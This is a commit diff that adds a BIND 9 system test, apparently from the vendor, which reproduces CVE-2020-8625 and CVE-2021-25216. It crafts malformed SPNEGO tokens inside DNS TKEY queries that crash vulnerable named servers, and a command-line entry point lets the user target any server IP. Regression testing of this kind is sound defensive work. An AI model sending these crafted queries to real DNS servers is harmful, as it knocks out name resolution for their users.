diff options
author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-07 15:59:48 +0000 |
---|---|---|
committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-04-07 15:59:48 +0000 |
commit | 3b9b6d0b8e7f798023c9d109c490449d528fde80 (patch) | |
tree | 2e1c188dd7b8d7475cd163de9ae02c428343669b /bin/tests/system/tsiggss/tests_isc_spnego_flaws.py | |
parent | Initial commit. (diff) | |
download | bind9-0cd617f6bad00b68e380aeb0024ef4dc1985191c.tar.xz bind9-0cd617f6bad00b68e380aeb0024ef4dc1985191c.zip |
Adding upstream version 1:9.18.19.upstream/1%9.18.19upstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to '')
-rwxr-xr-x | bin/tests/system/tsiggss/tests_isc_spnego_flaws.py | 219 |
1 files changed, 219 insertions, 0 deletions
diff --git a/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py new file mode 100755 index 0000000..6340b5a --- /dev/null +++ b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py @@ -0,0 +1,219 @@ +#!/usr/bin/python +############################################################################ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. +############################################################################ + +""" +A tool for reproducing ISC SPNEGO vulnerabilities +""" + +import argparse +import datetime +import struct +import time + +import pytest + +pytest.importorskip("dns") +import dns.message +import dns.name +import dns.query +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + + +class CraftedTKEYQuery: + # pylint: disable=too-few-public-methods + + """ + A class for preparing crafted TKEY queries + """ + + def __init__(self, opts: argparse.Namespace) -> None: + # Prepare crafted key data + tkey_data = ASN1Encoder(opts).get_tkey_data() + # Prepare TKEY RDATA containing crafted key data + rdata = dns.rdata.GenericRdata( + dns.rdataclass.ANY, dns.rdatatype.TKEY, self._get_tkey_rdata(tkey_data) + ) + # Prepare TKEY RRset with crafted RDATA (for the ADDITIONAL section) + rrset = dns.rrset.from_rdata(dns.name.root, dns.rdatatype.TKEY, rdata) + + # Prepare complete TKEY query to send + self.msg = dns.message.make_query( + dns.name.root, dns.rdatatype.TKEY, dns.rdataclass.ANY + ) + self.msg.additional.append(rrset) + + def _get_tkey_rdata(self, tkey_data: bytes) -> bytes: + """ + Return the RDATA to be used for the TKEY RRset sent in the ADDITIONAL + section + """ + tkey_rdata = dns.name.from_text("gss-tsig.").to_wire() # domain + if not tkey_rdata: + return b"" + tkey_rdata += struct.pack(">I", int(time.time()) - 3600) # inception + tkey_rdata += struct.pack(">I", int(time.time()) + 86400) # expiration + tkey_rdata += struct.pack(">H", 3) # mode + tkey_rdata += struct.pack(">H", 0) # error + tkey_rdata += self._with_len(tkey_data) # key + tkey_rdata += struct.pack(">H", 0) # other size + return tkey_rdata + + def _with_len(self, data: bytes) -> bytes: + """ + Return 'data' with its length prepended as a 16-bit big-endian integer + """ + return struct.pack(">H", len(data)) + data + + +class ASN1Encoder: + # pylint: disable=too-few-public-methods + + """ + A custom ASN1 encoder which allows preparing malformed GSSAPI tokens + """ + + SPNEGO_OID = b"\x06\x06\x2b\x06\x01\x05\x05\x02" + + def __init__(self, opts: argparse.Namespace) -> None: + self._real_oid_length = opts.real_oid_length + self._extra_oid_length = opts.extra_oid_length + + # The TKEY RR being sent contains an encoded negTokenInit SPNEGO message. + # RFC 4178 section 4.2 specifies how such a message is constructed. + + def get_tkey_data(self) -> bytes: + """ + Return the key data field of the TKEY RR to be sent + """ + return self._asn1( + data_id=b"\x60", data=self.SPNEGO_OID + self._get_negtokeninit() + ) + + def _get_negtokeninit(self) -> bytes: + """ + Return the ASN.1 DER-encoded form of the negTokenInit message to send + """ + return self._asn1( + data_id=b"\xa0", + data=self._asn1( + data_id=b"\x30", + data=self._get_mechtypelist(), + extra_length=self._extra_oid_length, + ), + extra_length=self._extra_oid_length, + ) + + def _get_mechtypelist(self) -> bytes: + """ + Return the ASN.1 DER-encoded form of the MechTypeList to send + """ + return self._asn1( + data_id=b"\xa0", + data=self._asn1( + data_id=b"\x30", + data=self._get_mechtype(), + extra_length=self._extra_oid_length, + ), + extra_length=self._extra_oid_length, + ) + + def _get_mechtype(self) -> bytes: + """ + Return the ASN.1 DER-encoded form of a bogus security mechanism OID + which consists of 'self._real_oid_length' 0x01 bytes + """ + return self._asn1( + data_id=b"\x06", + data=b"\x01" * self._real_oid_length, + extra_length=self._extra_oid_length, + ) + + def _asn1(self, data_id: bytes, data: bytes, extra_length: int = 0) -> bytes: + """ + Return the ASN.1 DER-encoded form of 'data' to be included in GSSAPI + key data, designated with 'data_id' as the content identifier. Setting + 'extra_length' to a positive integer allows data length indicated in + the ASN.1 DER representation of 'data' to be increased beyond its + actual size. + """ + data_len = struct.pack(">I", len(data) + extra_length) + return data_id + b"\x84" + data_len + data + + +def parse_options() -> argparse.Namespace: + """ + Parse command line options + """ + parser = argparse.ArgumentParser() + parser.add_argument("--server-ip", required=True) + parser.add_argument("--server-port", type=int, default=53) + parser.add_argument("--real-oid-length", type=int, default=1) + parser.add_argument("--extra-oid-length", type=int, default=0) + + return parser.parse_args() + + +def send_crafted_tkey_query(opts: argparse.Namespace) -> None: + """ + Script entry point + """ + + query = CraftedTKEYQuery(opts).msg + print("# > " + str(datetime.datetime.now())) + print(query.to_text()) + print() + + response = dns.query.tcp(query, opts.server_ip, timeout=2, port=opts.server_port) + print("# < " + str(datetime.datetime.now())) + print(response.to_text()) + print() + + +def test_cve_2020_8625(named_port): + """ + Reproducer for CVE-2020-8625. When run for an affected BIND 9 version, + send_crafted_tkey_query() will raise a network-related exception due to + named (ns1) becoming unavailable after crashing. + """ + for i in range(0, 50): + opts = argparse.Namespace( + server_ip="10.53.0.1", + server_port=named_port, + real_oid_length=i, + extra_oid_length=0, + ) + send_crafted_tkey_query(opts) + + +def test_cve_2021_25216(named_port): + """ + Reproducer for CVE-2021-25216. When run for an affected BIND 9 version, + send_crafted_tkey_query() will raise a network-related exception due to + named (ns1) becoming unavailable after crashing. + """ + opts = argparse.Namespace( + server_ip="10.53.0.1", + server_port=named_port, + real_oid_length=1, + extra_oid_length=1073741824, + ) + send_crafted_tkey_query(opts) + + +if __name__ == "__main__": + cli_opts = parse_options() + send_crafted_tkey_query(cli_opts) |